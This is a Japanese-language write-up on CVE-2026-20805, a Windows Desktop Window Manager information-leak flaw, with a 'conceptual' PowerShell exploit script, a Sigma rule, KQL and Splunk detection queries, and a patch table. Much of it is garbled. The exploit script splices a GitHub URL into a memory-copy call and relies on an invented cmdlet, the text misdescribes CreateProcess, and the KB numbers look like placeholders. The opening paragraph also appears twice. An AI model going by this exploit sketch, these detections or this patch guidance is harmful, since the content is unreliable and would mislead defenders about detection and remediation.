
CVE‑2026‑20805: Windows デスクトップ ウィンドウ マネージャーの脆弱性により、ローカルでの情報漏えいが発生します。低い権限が必要で、ユーザーの操作は不要です。CVSS 5.5(中)と評価されています。積極的に悪用されており、CISA KEV に掲載されています。2026年1月にパッチがリリースされました。
CVE‑2026‑20805: Windows Desktop Window Manager の欠陥により、ローカルでの情報漏えいが発生します。低い権限が必要で、ユーザー操作は不要です。CVSS 5.5(中)と評価されています。積極的に悪用されており、CISA KEV に掲載されています。2026年1月にパッチがリリースされました。
CVE 2026 20805 は、デスクトップのレンダリング、ウィンドウの合成、GPUベースのUIアクセラレーションを担う中核コンポーネントである Desktop Window Manager(DWM)における情報漏えいの欠陥です。
重要度: この欠陥により、低い権限を持つローカルの攻撃者が、他のセッションやプロセスに限定されるべきデータを読み取ることができます。
| 属性 | 値 |
|---|
| CWE‑200: 不正なアクターへの機密情報の露出 | ✓ |
| 攻撃ベクトル | ローカル |
| 必要な権限 | 低 |
| ユーザー操作 | 不要 |
| 影響 – 機密性 | 高 |
| 影響 – 完全性 | なし |
| 影響 – 可用性 | なし |
| CVSS 3.1 ベーススコア | 5.5(中) |
DWM は、GPUメモリ、ウィンドウバッファ、プロセス間のUIサーフェスを統括します。複数のプロセスからのデータを共有GPU空間に集約するため、価値の高いターゲットとなります。ここに欠陥があると、資格情報やセッションデータがユーザー間で漏えいする可能性があります。
最新のWindowsにおけるDWMの役割:
この脆弱性は、ウィンドウバッファインデックスの境界チェックの欠如を悪用します。これにより、攻撃者は隣接するGPUメモリを読み取り、他のプロセスが保存した秘密情報を取得できます。
NVD の CPE リストに基づくと、Windows 10.0.19041(およびその派生版)が影響を受けます。
以下は概念的な悪用フローです:
CreateProcess を使用して DWM プロセスのハンドルを取得します。# Windows 10.0.19041 – DWM buffer read exploit
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # crafted offset to adjacent GPU memory
$targetWindow = 0x00030001 # target window index
# Create a temporary buffer in kernel space
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/HEAD/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copy kernel buffer into DWM's composition routine
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Dump the exposed data to a local file for analysis
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
このスクリプトは、攻撃者が DWM の GPU メモリを活用して隠されたデータを読み取る方法を示しています。
CVE‑2026‑20805 の検知は、dwm.exe との異常な相互作用と、異常なGPU関連テレメトリの特定に焦点を当てています。このエクスプロイトは、細工されたオフセットを使用してGPUバックアップメモリバッファを読み取ることに依存しているため、防御側は通常の Desktop Window Manager の動作からの逸脱を監視する必要があります。
0x2B(DisplayUpdate)これらのソースは、プロセス作成、ハンドルアクセス、GPU更新アクティビティの可視性を提供します。
dwm.exe を含む繰り返しの CreateProcess イベント。特に親プロセスが explorer.exe でない場合。DisplayUpdate(0x2B)イベント。
SrcAddress: 0x00120000Size: 0x1000dwm.exe をターゲットとする HandleOpen イベントと、GPU ETW アクティビティのバーストとの相関関係。title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
CVE 2026 20805 に関する Microsoft のアドバイザリには、GPUデータをコピーする前に DWM のバッファインデックスを検証するパッチが含まれています。
| Windows バージョン | パッチ番号 |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead ルーチンがテストノードでエラーなく実行されることを検証します。dwm プロセス作成を監視します。DWM を介した情報漏えいは、UIアーティファクトやセッションデータをユーザー間で露出させる可能性があるため、しばしば過小評価されます。漏えいしたGPUメモリは、特に複数のセッションが単一のワークステーションまたはサーバーを共有する環境では、横方向の移動を支援する可能性があります。
高い機密性への影響: この欠陥により、攻撃者は他のセッションからウィンドウの内容を読み取ることができます。
中程度のCVSSスコア(5.5): 数値は中程度ですが、運用上の重要性は高いです。
CVE 2026 20805 は、DWM の低権限ローカル悪用が重大なデータ漏えいをもたらす可能性があることを示しています。この欠陥が CISA の Known Exploited Vulnerabilities Catalog に含まれていることは、その実世界での関連性を強調しています。概説した緩和策、検知、パッチ戦略を適用することで、組織は GPU メモリフローの可視性を向上させながらリスクを軽減できます。